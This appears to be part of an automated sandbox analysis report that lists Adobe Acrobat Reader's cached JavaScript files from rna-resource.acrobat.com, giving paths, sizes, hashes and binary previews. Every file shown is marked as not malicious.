Malicious:	false
Preview:	0\r..m......J......{...._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/plugin.js ..p?..[/....."#.D.D$.;..A.A..Eo....................4T].....Tw.....(..b...EO....9.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\71febec55d5c75cd_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.609125926654267
Encrypted:	false
SSDEEP:	3:m+lx2gv8RzYOCGLvHkWBGKuKjXKX7KoQRA/KWEKPWFvKmu8qMktgFdF5YufMm1:ms2gEYOFLvEWdGQRQVuY8qlt6dFt1
MD5:	9C121F53BEDE559708C47FF9038EC560
SHA1:	3A95274276A5F8811650AE8799CCE7C949F48C86
SHA-256:	4982EA452C5A9EF9B4D53FCE378B9E54AD72D6D5D289D5521696F6AD782253BF
SHA-512:	2F7B0937250EBC5C8BC608CA4BEC0430717E884F5CAFD9AA13D896764EC7F281F4E4AA3966D92CD4014BF232729E7F48C6F595B825B46476A14D54E6ABE85DA1
Malicious:	false
Preview:	0\r..m......S...W.%z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/selector.js ..B..[/....."#.D+.<.;..A.A..Eo........r.........@..{o]...9o\|..qY....T....{..u.b..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\86b8040b7132b608_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	206
Entropy (8bit):	5.635654890341895
Encrypted:	false
SSDEEP:	3:m+lerlyv8RzYOCGLvHkWBGKuKjXKX+IAHKLuVJ6vooe1MktwIEnNWQ1SUm1:mzyEYOFLvEWdrIOQhoD1ltwIEt1S/1
MD5:	FCB09B1ABF676F113FF2DB15C4B9E49C
SHA1:	720373A94739B78B44B33AF17BCAEAAEC871D4B5
SHA-256:	44F2FB25B045B564F6E31BF210CEC8C849AD4FC8E36DB948B9479253CC67A1F7
SHA-512:	9EDBB38901A6D07CAD923808B2D31D5C512482ED1CA7FC08E9F77F0A21AE4E7D4C98F4F41A27AE9381FC9C32469E1131B2EC66D58912D28B968E7FA40DB3407A
Malicious:	false
Preview:	0\r..m......N..../......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/plugin.js ...<..[/....."#.D$E..;..A.A..Eo......,.)..........t\a......x5.'OuE.C..@......x..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c159cc5880890bc_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.551888887397364
Encrypted:	false
SSDEEP:	3:m+lKcv8RzYOCGLvHkWBGKuKjXKoyNH/KPWFvJujm/e7xMkt4/lolwJNqww6U+5m1:mnYOFLvEWdhwyujRW1ltPlwrqwK+41
MD5:	B2601D58EA04D48C67A3D0324EA8120B
SHA1:	1FC9260A88272DEF94FDCA5736F8E21A2D760642
SHA-256:	A49AC5F88E9C93A7CC40C4620D7E416C5874772EEF05EA721B29E7855CBE99C2
SHA-512:	99A8417C6A075DF489772D0982C097F0F560186662EE50268B6ECCFAB0872FC0A2E755BEAA9ABE6CFE8CFD1687AAB5E2AB0FAD87259633BA53779481C8B3618F
Malicious:	false
Preview:	0\r..m......Z.........._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/selector.js .,n?..[/....."#.DB.#.;..A.A..Eo.........................7...o..a=.98I......(3.$G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c84d92a9dbce3e0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.552785979145268
Encrypted:	false
SSDEEP:	6:mYXYOFLvEWdrROk/RJbuxIultMlQfO441:/RrROk/iIU6lQfL
MD5:	2B7592FE520387531C0F9515D37C957E
SHA1:	A061822011A0C2FA23B46012B439B763FE1AD82C
SHA-256:	12430B81EEA488B23B35A7AA5EC31271B20AEEDAF3613E93CBDCD4E9C1328254
SHA-512:	8CA7AC85943D9E14F26C43384A9B77B12D9D6214FF32B7B2533D2BA904945F61E66B6D2EEABB3E8D7A7D19ABACBBDD59DF36AE00902468F955954C3BD0286F1C
Malicious:	false
Preview:	0\r..m......f...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/selector.js ...<..[/....."#.D.-..;..A.A..Eo........o...........~..rw.+[....!.)?..f.U..(=.=.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8e417e79df3bf0e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	5.567305610867358
Encrypted:	false
SSDEEP:	3:m+lhD4ll08RzYOCGLvHkWBGKuKdTSVRj1qMktj//HzoIN1OFPL4m1:mmDEYOFLvEWXIRRqltj/fzV1QPLr1
MD5:	9DE46BF3529D890B97670DFE69C8A202
SHA1:	5368C847D53EBE7B3F6A5FC7443C8AE8D359489D
SHA-256:	024A582D7B39AA57A3FF19126A8919148E304123EFE8F7476EDB4E514C2F486F
SHA-512:	7539D9B0A9D6E238A98F3A6EF642C38DE61D7151AB28C6E9B951986E8E15708250A5619C89DD2B8AAFA281D183D0E79FF3324B0DB0072E07B66388538A883CF3
Malicious:	false
Preview:	0\r..m......:....f......_keyhttps://rna-resource.acrobat.com/static/js/config.js ...;..[/....."#.Di...;..A.A..Eo.........B..........~]...%s..<...n.f..<.....1#..U..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\91cec06bb2836fa5_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.616641386336705
Encrypted:	false
SSDEEP:	3:m+l+nq1A8RzYOCGLvHkWBGKuKjXKLNfKPWFvlmjazAWkxMktbtm8D6EsEJeUm1:m52YOFLvEWdMAuOltbMEvsEJ41
MD5:	934724277EA0A40C400D04579F168EC2
SHA1:	E320D257D649C016AC06146BE64BBB144579CB7D
SHA-256:	63726CB73CCB4EB2718265FB413817CDBCEA3474511E9C755C62B684F65465FA
SHA-512:	3BA4FBB4C008866F4B5D699F2A242D3457215DAEE4DC29E3AA0D24FE360ED4E7350E03AB6F0AAFB1E01DB6B1B3E6ED2B52F1DB51EB17BEDEFA8E790DF47E8542
Malicious:	false
Preview:	0\r..m......O...a.Y....._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/selector.js .^.C..[/....."#.D..<.;..A.A..Eo.......vY...........z._a...'.v.......4p3..1.']...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\927a1596c37ebe5e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.611895107576625
Encrypted:	false
SSDEEP:	6:mYilPYOFLvEWd8CAdAuBbrW1qltHong1:6lJRCrW1QBo
MD5:	74089D53C6D33D4BD0023C6573BAAC6A
SHA1:	9FB8E235AB98746A00ED1BBB06C86AC80BBA52F1
SHA-256:	C42F3B99AABD81E76BB2FB79FC59A67142BDDA976502511F8EC62D9F5E9AC07D
SHA-512:	E26BEB139715F52E21E2F9F3FA307CBA27BBC313AFF5704436D5177853D0C1331DF2326FC397D34B39481685881ED336ACC3AFE7D7F80F18ACE3A5EAE26F6C5D
Malicious:	false
Preview:	0\r..m......R....\|....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/selector.js ..PC..[/....."#.Dz.<.;..A.A..Eo......Tc..........c}.H7M=M..-.....Ix..R.l...}Rl.$q.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\92c56fa2a6c4d5ba_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.592956282532991
Encrypted:	false
SSDEEP:	6:mY8nYOFLvEWdrROk/IuDKWakxlty1N16wG1:F8hRrROk/ZKiT4
MD5:	87D61B99CDCF711718CEA1AC5BB659D6
SHA1:	156EDB7E81CF4F2382AAE9905B16A779DFD4DB71
SHA-256:	7B447A968F340AC9E761F2045D81B171E6EC93C40C9DF723BD540AA7C48E3874
SHA-512:	B89E0910087FBCDDF8605788B5BFF403708402CF4143048827EF644DE010800CBFAFFFA93787EFC13B07C16346BEC05C3CBD39E727BA5CC6454AFE1082032CB9
Malicious:	false
Preview:	0\r..m......_...h......_keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/selector.js ..<..[/....."#.D....;..A.A..Eo......f.b..........%.k.SZ..~W.....:)'B..ad......A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\946896ee27df7947_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.649428936371276
Encrypted:	false
SSDEEP:	3:m+lstxt08RzYOCGLvHkWBGKuKjXKX+IAuAJVKjXKLuVT/LY/Mkti/QPmJelc0Rm1:mLrnYOFLvEWdrIoJUQYDulti/QeJIi1
MD5:	E1ED2581FEBDED5AF6D8D2CCB72CFE55
SHA1:	75282D1012D26A964E055AE6375DCC442AD4AD25
SHA-256:	3F432140405C828D26C6642471294723F6575E08E811FDB20077D295413C0F3F
SHA-512:	98EEFF4401509F357DAAD6F39D3DE8E01CE8203A5F3F11888F254F897A0221B2496DCF4F494E6375E2644C1898E71768D6926B4098D4EB6246B4EBDC12411BE6
Malicious:	false
Preview:	0\r..m......U..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files-select/js/plugin.js .t.<..[/....."#.D>y..;..A.A..Eo........3..........;"./N_.,.:C..2....9L.H...3:...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\983b7a3da8f39a46_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.578110731955168
Encrypted:	false
SSDEEP:	3:m+lQ/pqv8RzYOCGLvHkWBGKuKjXKX+IALKPWFvV6BjD71/MktiH/6mgmOZLhT7Uy:mOEYOFLvEWdrIhuapD7xltEzgm2d/1
MD5:	155A23CBE99689360AA456B860F3E84D
SHA1:	E5817872B8A1084866976EAEA1BCD93E59266B15
SHA-256:	D950B1910C50BB1F89B6EB8E66BA56B5100F8D44727499DAB88562E1261DAD90
SHA-512:	AB9B5D9CD772EABC961FA4589DC5649677426771B86D108C7176E73D66548160C42057A0427A0FCF6262EF5154002B185330BA7B494400C56F88BEF3F685CD28
Malicious:	false
Preview:	0\r..m......P....r......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/selector.js .b.<..[/....."#.D.Y..;..A.A..Eo......C}..........Z.Z}Q..4.o....0+..[\|..n:*..U.W.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\aba6710fde0876af_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.552375129873544
Encrypted:	false
SSDEEP:	3:m+l8UElLA8RzYOCGLvHkWBGKuKPK7Cv3IXGoMkt9sBiaQ562HvpMm1:mAElVYOFLvEW1KrWoltLx56uvp1
MD5:	59529C01F444692276A297BCD824DF37
SHA1:	7A23EE36392FD8C14AD6AA466D19BEEC9579A577
SHA-256:	8D10417593B28482B1E0E8523CABA02E34531FE41D396E490DA43F942C0D05FA
SHA-512:	820B7C45F109AF051607E56E2EA8614812F1EEBD1AC9D198211BB348768C77CC9CACEADD455276DC48329ECA749CF583AD56EE47392E7E087F62F97DA5AFDFDD
Malicious:	false
Preview:	0\r..m......<...)6......_keyhttps://rna-resource.acrobat.com/static/js/rna-main.js .a10..[/....."#.D_..;..A.A..Eo........kD........z?...SwC...^..y.....V..7R-O.....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\b6d5deb4812ac6e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.651471255775398
Encrypted:	false
SSDEEP:	6:mWYOFLvEWdBJvvuY3oYltG4TUDLYtmOZn1:xRBJzDvYDcFZ
MD5:	E6F2C50A308615DEE38F4521C9BCF5E4
SHA1:	9D566DACBD9214BF45C5FBE658A152591BA0075A
SHA-256:	2979BA2B854375D3F9106F07DF5C1066179D94259644D775ED381B5934468D4B
SHA-512:	26DAE1A8A8E4D6553D9897E5BA15B6C2176FE8336222604B88B14A8CAE09CA284D880D372A671CB49DEBCC1BF80039EAAB2217278645F09BE4413A4B2020054B
Malicious:	false
Preview:	0\r..m......V.....h....._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/selector.js ...C..[/....."#.D~.<.;..A.A..Eo.......^.............t.q..W.EZ....1...[.zC.7mD..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bba29d2e6197e2f4_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.613290832713582
Encrypted:	false
SSDEEP:	3:m+lxCq//6v8RzYOCGLvHkWBGKuKCH6U4LJzWHK7WFvp9w4kGoMktR1lXpSKGoSSh:msRPYOFLvEWIa7zp7l4doltp8VPu1
MD5:	AE238654E64E4EB678B2BB9362E2C278
SHA1:	4F3E5304F7C93EA56793CF0E4E9A6CB95281EBCC
SHA-256:	81CAE30BCCF80B7950B7030B13EFE5AB6B6361E25F09F3438635B994C3B480A6
SHA-512:	D09B322D51B81194E78BD002D1CE7CCBD49EEBC377338AE25A17D649B7B514AFE91F8D7AA38D6BB8DB6863EC0E782152B9E18BB1B65572C82745C6723322095F
Malicious:	false
Preview:	0\r..m......S...{.j....._keyhttps://rna-resource.acrobat.com/static/js/libs/require/2.1.15/require.min.js ...,..[/....."#.D.0.;..A.A..Eo......6.............L...Im.@.........E.nW...IP..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bf0ac66ae1eb4a7f_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.6089996285579256
Encrypted:	false
SSDEEP:	3:m+lQi9lC8RzYOCGLvHkWBGKuKjXKVRNUpXKLuVTDeThMkt+9l/ll96F4XVAZ+8cW:mKPYOFLvEWdENU9QsYltm/l6wiM3Y1
MD5:	17A91081BA76BDDD6E30DE6A6D3AC94A
SHA1:	1AC5F7338E0A7F9C37FD084175C0E80DC779F152
SHA-256:	D448E3084E26DCBAF44E02F9919507A63776C9F8B972BFD1D62A478901BABB0C
SHA-512:	095BFD917CAFCFC21EF7E6109DF00AE813E6F7E6C144653C221B3610DA4B71C641A74C09FFDC919A921BA329B351D86C86BC2C91CCD441F6CF32829B45B5B1C7
Malicious:	false
Preview:	0\r..m......P...Yft....._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/plugin.js ..r?..[/....."#.D..(.;..A.A..Eo.....................M....m+lS..e.....<7.U.P8*.0K.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\cf3e34002cde7e9c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	208
Entropy (8bit):	5.652251851742299
Encrypted:	false
SSDEEP:	6:mQt6EYOFLvEWdccAHQ4qltc/mjBRCh/41:XRc91Q6mDi/
MD5:	C98AC9F0CC548C67C7CEF5EC0824B65A
SHA1:	B5017F75318BB42AFC3B4C5C2B8D0CB287C056D5
SHA-256:	AFA3B6633AD67A7E00EF94F56F2604094E8AC48214F1D2A9561C46B83BF1EE0A
SHA-512:	8A5EA32B426525B1A5942684B56111CE51FFAF43E3519855AD6686E760C664B86F1DB8032922A4AFC86B35A90B940311D0D20256D25022B6DFC833518EE56811
Malicious:	false
Preview:	0\r..m......P...W3......_keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/plugin.js ..*D..[/....."#.D..K.;..A.A..Eo.................PJm...0x.x..RD...BB!@5..<..]....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d449e58cb15daaf1_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.622215816202665
Encrypted:	false
SSDEEP:	6:mqs6XYOFLvEWdFCi5mhu7V4doltwkULlF4r1:bs6xRkibe7LlF4
MD5:	4FD9A235C943871C802ED1F69AFFB0DE
SHA1:	0CADB8E1BD56A29E6FF44E4A107C9DEA76521097
SHA-256:	5FC0C8E68198DFAA39454DA313F945FEB97CB73D1D658EBFC06E23910310AC82
SHA-512:	B0BD7391513BFD3981D6E1BC7B84DF1831F7C6F110AC4B4DD9D62820FDCDABFE4379BDF81B51D8EC3F3CBA6807D90CEE4158716E73FD869C75573CE55C50F117
Malicious:	false
Preview:	0\r..m......g...~.I?...._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-selector.js ......[/....."#.D..).;..A.A..Eo......>............P...#4..l....5...5..).w.. .h.~..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d88192ac53852604_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	215
Entropy (8bit):	5.556584574932782
Encrypted:	false
SSDEEP:	3:m+lPHYs8RzYOCGLvHkWBGKuKjXKXqjuSKPWFvxhsPxMkt4tlXECcu1isLK5m1:mhYOFLvEWd/aFuts5ltCEN941
MD5:	DCB607CFB27555D7F4BEFFBC96CEDF27
SHA1:	30562A351B7FF36ED81FF5B66664C7DC31C0078D
SHA-256:	F761A90DA84E0CBE1E8A679E52B8B6246AA074AB81C7CA7C275F1B13A33D1D14
SHA-512:	B4DC642427A8FB8AE97649D961AC9C62C593BE40124F7A76A4CA02F5FADF53782AC5113E7045D52B8898B5181B59474D85C17B5E75A09CDD182E61482133012B
Malicious:	false
Preview:	0\r..m......W....w.m...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-recent-files/js/selector.js ...D..[/....."#.D{.<.;..A.A..Eo.......+.............a.f.m.i.o.p..3U5.....^...I.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\de789e80edd740d6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.563022573534015
Encrypted:	false
SSDEEP:	6:mR9YOFLvEWd7VIGXOdQ3o+xltA/dBMqVd3G4K41:2DRuRqedB9Vd2
MD5:	5211A56708D44D6483FFC46465D11682
SHA1:	71B38B7666FCF2D52857D3189955F7AF56C57993
SHA-256:	632C068F0B720A4418B783919AEFBEDA0CE4FCD5A561BFC81A0555CBA3192499
SHA-512:	97520B0EB28363CCDC292ECEC5FC387701955052A1DCBF7B387B37E119932C5FF60C54CC7AA6B2F1931D381FF27E5EC2BCA9F160BB22344B0A98BB7B366A50B0
Malicious:	false
Preview:	0\r..m......P...y.p....._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/plugin.js ...D..[/....."#.Dq.=.;..A.A..Eo......,..=..........y.$..$.v5j...T...z.]..._S....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f0cf6dfa8a1afa3d_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.593162938014159
Encrypted:	false
SSDEEP:	3:m+lQyu6OA8RzYOCGLvHkWBGKuKjXK9QXAdWKjKLuV1s/SN3hMktHtpW4ThzJuA4N:mkqYOFLvEWd8CAd9Q4NxltNDuA424r1
MD5:	C2E446B84162D7C612F465C27D0775AA
SHA1:	224E393442EFB1365F1967BFD23C77B6848300D8
SHA-256:	57B16249E7499106C37DFAD97C8FFF5FB31FD54DAD8A3FC2C71CB2A2303D20F5
SHA-512:	218A68AF6A3FCD0EB2C14E3E618743B9A9FDFF4271F3724C1F9F7C7490B246CF773149E1C2A827F2F05D196BF63F65753910C8507F5022AA206CC0E650DD9C1D
Malicious:	false
Preview:	0\r..m......P...gT....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/plugin.js ...D..[/....."#.D.zL.;..A.A..Eo......cc.U........#..@..k(v.8g..5.~_....]Pj.*..6.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f4a0d4ca2f3b95da_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.587523436931564
Encrypted:	false
SSDEEP:	3:m+lS5Etla8RzYOCGLvHkWBGKuKjXKVRNUp/KPWFv0t1we7xMktAo9Ag2iHio/Mm1:moXXYOFLvEWdENUAuk1ZltIyC8n1
MD5:	FEA5D76374E6A4DE5B5AC610BD205119
SHA1:	CC4AF70747FA08A50B9E4EEAA52BD5D8E95F6256
SHA-256:	1A838062AA62C8347E0CCF1B6A0561518A530E024BB80AF5C3D9EC5F315EEBC5
SHA-512:	27D2F2CCBE1F79211D2327F9FF65531CF907C14D0021CD09406008B571A049037924D87023CBFD299B47C220334699B6FB2246DF744BBE27BDEBD492E627D00D
Malicious:	false
Preview:	0\r..m......R..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/selector.js ...?..[/....."#.D$.#.;..A.A..Eo......FY^.........8.../...;.\\o....1..........+..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f941376b2efdd6e6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	221
Entropy (8bit):	5.6144531174906875
Encrypted:	false
SSDEEP:	6:mQZYOFLvEWdrROk/VQ9JvHT/ltCsLmB41:nRrROk/VKvHT90N
MD5:	610F33B99FA942A727DA998E661CEB81
SHA1:	F6447210842D4FD08EA34B445D6141A9AE3A36EF
SHA-256:	051F0E0D79C868A3E077B1AD516013C73F4BF13A0053AF773A63D294BA7B41A3
SHA-512:	3BA0EC9AB0BB3A53DB51DF194BE039B0C1E8AD9A304AE298F8013F3A7EB2AED9E6D47BE3A0E769CC14A5137114FC279F24A33658126A8A9C90E8D6FF69CCBE4B
Malicious:	false
Preview:	0\r..m......]......,...._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/plugin.js ...<..[/....."#.D-...;..A.A..Eo......~.@......... ./.ev......N~..6.b.....$.j;:C...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f971b7eda7fa05c3_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.591277206853126
Encrypted:	false
SSDEEP:	6:mZ/lXYOFLvEWdccAWurCJ+RylttJdm9741:qxRcplRYJdu7
MD5:	B457703FB68D6CFFE4C92B43ED536F52
SHA1:	103A24A957CA7C2816F588AA77DA12D59E0686A0
SHA-256:	F395E5B384CB65923CAC3E9063BD97487A58F7098C06BE28723A3F4FB94DB6F6
SHA-512:	96BB77253D26BBC82EFA22B6A4F28483349186536239D3D0C9D9DB921A91BC2131AF9F4E56540D725EA090B48A75DC7FE2676A74EE3DF8F56E49EE828E0933B6
Malicious:	false
Preview:	0\r..m......R...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/selector.js ...B..[/....."#.D.;.;..A.A..Eo.......q;............U...I.>P...X...x..0U.~;m.x.k.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fd17b2d8331c91e8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.5652295909256475
Encrypted:	false
SSDEEP:	3:m+lUg18RzYOCGLvHkWBGKuKjXKrAUWiKPWFv2nttJp/MktZItOB6shoq+Nem1:mMOYOFLvEWdwAPVuEN1ltZtB6Jn1
MD5:	C32AD09263EC4F2975DBA20EF465A8BB
SHA1:	C794A1584A8F65E886568DF0DBFAF342C5061AC4
SHA-256:	013439883D049E2D73DADB9998839EA5C7634872DC094F17B87D05F996AF2AA6
SHA-512:	2411C46D5F95FE4E419FFE1F270A2F2EDA3DD6A002F1DD46BD1CC7B7DA0983CF748FFC14641EEC03565687C0A6CAED8480511B501B51B35D6DD490738F3C1342
Malicious:	false
Preview:	0\r..m......L....Ey....._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/selector.js .r.?..[/....."#.D..#.;..A.A..Eo.......................k....F..D..O.n;[.1m.....=..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fdd733564de6fbcb_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.638052765412066
Encrypted:	false
SSDEEP:	6:m3PXYOFLvEWdBJvYQ9J+Kge7xltvWXqhcsBXIh1:mxRBJQS+KrlWKB
MD5:	759EBABE109F8811478E7F2A1F5A46CA
SHA1:	E7BB3ECBA838673F1D22DCEFF4E07B13686A776D
SHA-256:	E4A89FFF1F9B601275CBA3465DD6E4AAA105FA6CB6F9D4DE5A1E36101FDE6C17
SHA-512:	FCB68AA4F2DDD13449C117042A073FB0E347F2208DD345C5702E55611E63BAF26F964BE8423CC6BDF94B9CB4F12644D60FF6C8128884BE87A0F50B0F4F9CE412
Malicious:	false
Preview:	0\r..m......T......z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/plugin.js ..ND..[/....."#.D..=.;..A.A..Eo......^Nf............k..`..N3.... ..d..$[.....{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\febb41df4ea2b63a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.5751688669733745
Encrypted:	false
SSDEEP:	6:msPYOFLvEWdrROk/RJUQNYW/p/ltBzc3Me/1:3RrROk/s2YY9r
MD5:	97564D77C5111674916FC2D74FB4F80F
SHA1:	C778B304CE4BA25D4139AFBD39ED41A1555A5ABF
SHA-256:	E985ADCDB86CDA6D3D757FD5E121758E213C74056B40D36E60C5EDA143790025
SHA-512:	97FBF01D7EBA9437886667546488A9459A7207B0FCB8B9C0D1A731BF7E27D52111FBE5935E4F73F785BAD831E4FCADFB8122BDBAD2573B8D119438AA72B9516C
Malicious:	false
Preview:	0\r..m......d...<.s....._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/plugin.js ...<..[/....."#.D.3..;..A.A..Eo........O..............9Q].8O.z....=..:.N.{....N{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.0316523537584565
Encrypted:	false
SSDEEP:	12:WSZsyJXboCu5tfL77Vi3SSqMzlfvUGU2Ki9Guc0IRUAvS2McxTl9m:DsSHkBBDMSU3IxNMaLm
MD5:	3402615A2FE4D0B9591D9B049F5FA137
SHA1:	C2423F586F13807865D436A4747CA4CF4C97C4F0
SHA-256:	CDF5A0C7BB521349FDA3F36CFC57C9DF99E5B3B22B64A5BBF7EC81E28E31636A
